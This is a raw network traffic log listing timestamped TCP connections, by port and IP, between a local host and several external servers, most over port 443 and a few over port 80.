Dec 7, 2024 00:15:40.346026897 CET	49802	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:40.346031904 CET	443	49802	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:40.350312948 CET	49808	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:40.350351095 CET	443	49808	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:40.350413084 CET	49808	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:40.350826979 CET	49808	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:40.350836992 CET	443	49808	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:40.554816008 CET	443	49804	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:40.555414915 CET	49804	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:40.555450916 CET	443	49804	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:40.555927038 CET	49804	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:40.555933952 CET	443	49804	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:40.574714899 CET	49797	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:40.574789047 CET	443	49797	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:40.575683117 CET	49798	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:40.575716019 CET	49799	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:40.575726032 CET	443	49798	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:40.575753927 CET	443	49799	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:40.990853071 CET	443	49804	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:40.990930080 CET	443	49804	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:40.990998983 CET	49804	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:40.991271019 CET	49804	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:40.991292000 CET	443	49804	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:40.991305113 CET	49804	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:40.991322994 CET	443	49804	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:40.994663000 CET	49810	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:40.994693995 CET	443	49810	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:40.994805098 CET	49810	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:40.994960070 CET	49810	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:40.994970083 CET	443	49810	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:41.103813887 CET	443	49799	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:41.103832006 CET	443	49799	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:41.103882074 CET	49799	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:41.103914976 CET	443	49799	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:41.103929996 CET	49799	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:41.103954077 CET	49799	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:41.103969097 CET	443	49799	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:41.104008913 CET	49799	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:41.106189013 CET	49799	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:41.106204987 CET	443	49799	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:41.202605009 CET	443	49798	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:41.202631950 CET	443	49798	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:41.202692032 CET	49798	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:41.202708006 CET	443	49798	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:41.202733040 CET	49798	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:41.202785969 CET	49798	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:41.203445911 CET	443	49798	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:41.203505993 CET	443	49798	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:41.203547001 CET	49798	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:41.206125975 CET	49798	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:41.206140041 CET	443	49798	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:41.236258984 CET	443	49797	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:41.236283064 CET	443	49797	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:41.236300945 CET	443	49797	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:41.236360073 CET	49797	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:41.236370087 CET	443	49797	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:41.236429930 CET	49797	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:41.396745920 CET	49811	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:41.396778107 CET	443	49811	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:41.397062063 CET	49811	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:41.397361994 CET	49811	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:41.397377968 CET	443	49811	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:41.398156881 CET	443	49797	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:41.398250103 CET	49797	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:41.398461103 CET	49797	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:41.398492098 CET	443	49797	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:41.398624897 CET	443	49797	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:41.398649931 CET	49797	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:41.398683071 CET	49797	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:41.814646006 CET	443	49805	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:41.817786932 CET	49805	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:41.817809105 CET	443	49805	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:41.818424940 CET	49805	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:41.818429947 CET	443	49805	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:41.830156088 CET	443	49806	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:41.833888054 CET	49806	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:41.833905935 CET	443	49806	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:41.834579945 CET	49806	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:41.834583998 CET	443	49806	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:41.909858942 CET	49812	443	192.168.2.6	2.16.158.83
Dec 7, 2024 00:15:41.909903049 CET	443	49812	2.16.158.83	192.168.2.6
Dec 7, 2024 00:15:41.909966946 CET	49812	443	192.168.2.6	2.16.158.83
Dec 7, 2024 00:15:41.912152052 CET	49812	443	192.168.2.6	2.16.158.83
Dec 7, 2024 00:15:41.912169933 CET	443	49812	2.16.158.83	192.168.2.6
Dec 7, 2024 00:15:41.918015957 CET	49813	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:41.918049097 CET	443	49813	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:41.918133974 CET	49813	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:41.918474913 CET	49813	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:41.918486118 CET	443	49813	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:41.975419998 CET	443	49807	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:41.976188898 CET	49807	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:41.976253033 CET	443	49807	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:41.976886034 CET	49807	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:41.976891041 CET	443	49807	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:42.067714930 CET	443	49808	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:42.068610907 CET	49808	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:42.068639040 CET	443	49808	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:42.069253922 CET	49808	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:42.069259882 CET	443	49808	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:42.249892950 CET	443	49805	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:42.249953985 CET	443	49805	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:42.250186920 CET	49805	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:42.251133919 CET	49805	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:42.251152039 CET	443	49805	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:42.251451969 CET	49805	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:42.251458883 CET	443	49805	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:42.256052017 CET	49814	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:42.256088018 CET	443	49814	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:42.256190062 CET	49814	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:42.256526947 CET	49814	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:42.256540060 CET	443	49814	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:42.264936924 CET	443	49806	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:42.265016079 CET	443	49806	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:42.265078068 CET	49806	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:42.265301943 CET	49806	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:42.265316963 CET	443	49806	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:42.265332937 CET	49806	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:42.265338898 CET	443	49806	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:42.271204948 CET	49815	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:42.271239042 CET	443	49815	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:42.271347046 CET	49815	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:42.271476030 CET	49815	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:42.271486044 CET	443	49815	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:42.390476942 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:42.390521049 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:42.390595913 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:42.390867949 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:42.390906096 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:42.390954018 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:42.393333912 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:42.393347025 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:42.393461943 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:42.393623114 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:42.393637896 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:42.393682957 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:42.394181013 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:42.394190073 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:42.394269943 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:42.394274950 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:42.396807909 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:42.396823883 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:42.396933079 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:42.396943092 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:42.404973030 CET	49820	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:42.404998064 CET	443	49820	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:42.405307055 CET	49820	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:42.405618906 CET	49820	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:42.405632973 CET	443	49820	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:42.410690069 CET	443	49807	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:42.410762072 CET	443	49807	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:42.410931110 CET	49807	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:42.411057949 CET	49807	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:42.411072016 CET	443	49807	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:42.411108017 CET	49807	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:42.411113977 CET	443	49807	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:42.414028883 CET	49821	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:42.414058924 CET	443	49821	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:42.414119959 CET	49821	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:42.414279938 CET	49821	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:42.414293051 CET	443	49821	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:42.505000114 CET	443	49808	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:42.505072117 CET	443	49808	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:42.505131006 CET	49808	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:42.505366087 CET	49808	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:42.505381107 CET	443	49808	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:42.505405903 CET	49808	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:42.505410910 CET	443	49808	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:42.508537054 CET	49822	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:42.508574009 CET	443	49822	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:42.508713961 CET	49822	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:42.508871078 CET	49822	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:42.508883953 CET	443	49822	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:42.710648060 CET	443	49810	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:42.711241007 CET	49810	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:42.711262941 CET	443	49810	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:42.711862087 CET	49810	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:42.711868048 CET	443	49810	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:42.889364004 CET	49768	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:42.889688969 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:43.010438919 CET	80	49768	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:43.010888100 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:43.010989904 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:43.011420012 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:43.131211042 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:43.153604031 CET	443	49810	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:43.153697014 CET	443	49810	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:43.153768063 CET	49810	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:43.154087067 CET	49810	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:43.154110909 CET	443	49810	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:43.154122114 CET	49810	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:43.154128075 CET	443	49810	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:43.154798985 CET	443	49811	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:43.154887915 CET	49811	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:43.157582998 CET	49824	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:43.157610893 CET	443	49824	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:43.157672882 CET	49824	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:43.157870054 CET	49824	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:43.157875061 CET	443	49824	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:43.158041954 CET	49811	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:43.158066034 CET	443	49811	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:43.158288956 CET	49811	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:43.158303022 CET	443	49811	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:43.158346891 CET	443	49811	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:43.158401966 CET	49811	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:43.513905048 CET	443	49812	2.16.158.83	192.168.2.6
Dec 7, 2024 00:15:43.514003992 CET	49812	443	192.168.2.6	2.16.158.83
Dec 7, 2024 00:15:43.612458944 CET	49812	443	192.168.2.6	2.16.158.83
Dec 7, 2024 00:15:43.612474918 CET	443	49812	2.16.158.83	192.168.2.6
Dec 7, 2024 00:15:43.612732887 CET	443	49812	2.16.158.83	192.168.2.6
Dec 7, 2024 00:15:43.612787008 CET	49812	443	192.168.2.6	2.16.158.83
Dec 7, 2024 00:15:43.613003016 CET	49812	443	192.168.2.6	2.16.158.83
Dec 7, 2024 00:15:43.659332991 CET	443	49812	2.16.158.83	192.168.2.6
Dec 7, 2024 00:15:43.674938917 CET	443	49813	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:43.675049067 CET	49813	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:43.677680016 CET	49813	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:43.677687883 CET	443	49813	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:43.677949905 CET	443	49813	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:43.677975893 CET	49813	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:43.678016901 CET	443	49813	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:43.678026915 CET	49813	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:43.681844950 CET	443	49811	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:43.681859016 CET	443	49811	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:43.681920052 CET	49811	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:43.681922913 CET	443	49811	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:43.681967974 CET	49811	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:43.682383060 CET	49811	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:43.682400942 CET	443	49811	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:43.766289949 CET	443	49820	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:43.766360998 CET	49820	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:43.773454905 CET	49820	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:43.773468971 CET	443	49820	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:43.773663998 CET	443	49820	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:43.773710966 CET	49820	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:43.774018049 CET	49820	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:43.774044991 CET	443	49820	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:43.933943987 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:43.934020042 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:43.934456110 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:43.934529066 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:43.936588049 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:43.936692953 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:43.937525034 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:43.937606096 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:43.938723087 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:43.938730001 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:43.939037085 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:43.939096928 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:43.939193010 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:43.944806099 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:43.944814920 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:43.945044041 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:43.945050955 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:43.945087910 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:43.945133924 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:43.975542068 CET	443	49814	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:43.976676941 CET	49814	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:43.976710081 CET	443	49814	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:43.977447987 CET	49814	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:43.977456093 CET	443	49814	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:43.979334116 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.013963938 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.013983011 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.014204979 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.014210939 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.014317989 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.014370918 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.014435053 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.014447927 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.014556885 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.014561892 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.014694929 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.014745951 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.131866932 CET	443	49821	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.132478952 CET	49821	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:44.132491112 CET	443	49821	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.133013964 CET	49821	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:44.133019924 CET	443	49821	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.160187960 CET	443	49815	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.166109085 CET	49815	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:44.166125059 CET	443	49815	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.167083979 CET	49815	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:44.167088985 CET	443	49815	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.220658064 CET	443	49812	2.16.158.83	192.168.2.6
Dec 7, 2024 00:15:44.220680952 CET	443	49812	2.16.158.83	192.168.2.6
Dec 7, 2024 00:15:44.220755100 CET	49812	443	192.168.2.6	2.16.158.83
Dec 7, 2024 00:15:44.220762968 CET	443	49812	2.16.158.83	192.168.2.6
Dec 7, 2024 00:15:44.220776081 CET	49812	443	192.168.2.6	2.16.158.83
Dec 7, 2024 00:15:44.220837116 CET	49812	443	192.168.2.6	2.16.158.83
Dec 7, 2024 00:15:44.221420050 CET	443	49812	2.16.158.83	192.168.2.6
Dec 7, 2024 00:15:44.221462965 CET	443	49812	2.16.158.83	192.168.2.6
Dec 7, 2024 00:15:44.221462965 CET	49812	443	192.168.2.6	2.16.158.83
Dec 7, 2024 00:15:44.221504927 CET	49812	443	192.168.2.6	2.16.158.83
Dec 7, 2024 00:15:44.226653099 CET	443	49822	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.227247000 CET	49822	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:44.227258921 CET	443	49822	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.227948904 CET	49822	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:44.227955103 CET	443	49822	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.232306004 CET	49812	443	192.168.2.6	2.16.158.83
Dec 7, 2024 00:15:44.232315063 CET	443	49812	2.16.158.83	192.168.2.6
Dec 7, 2024 00:15:44.280366898 CET	443	49813	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:44.280395031 CET	443	49813	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:44.280592918 CET	443	49813	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:44.280611992 CET	49813	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:44.280611992 CET	49813	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:44.280638933 CET	49813	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:44.299140930 CET	49813	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:44.299154997 CET	443	49813	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:44.412583113 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.412601948 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.412620068 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.412691116 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.412708044 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.412760019 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.413517952 CET	443	49814	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.413568020 CET	443	49814	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.413813114 CET	49814	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:44.413887978 CET	49814	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:44.413904905 CET	443	49814	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.413922071 CET	49814	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:44.413927078 CET	443	49814	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.415930986 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.415952921 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.415966988 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.416037083 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.416045904 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.416099072 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.420561075 CET	49825	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:44.420587063 CET	443	49825	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.420663118 CET	49825	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:44.420823097 CET	49825	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:44.420833111 CET	443	49825	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:44.422195911 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.422225952 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.422247887 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.422281027 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.422307968 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.422312975 CET	443	49818	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.422358036 CET	49818	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:44.430150032 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:44.430176020 CET	443	49816	150.171.27.10	192.168.2.6
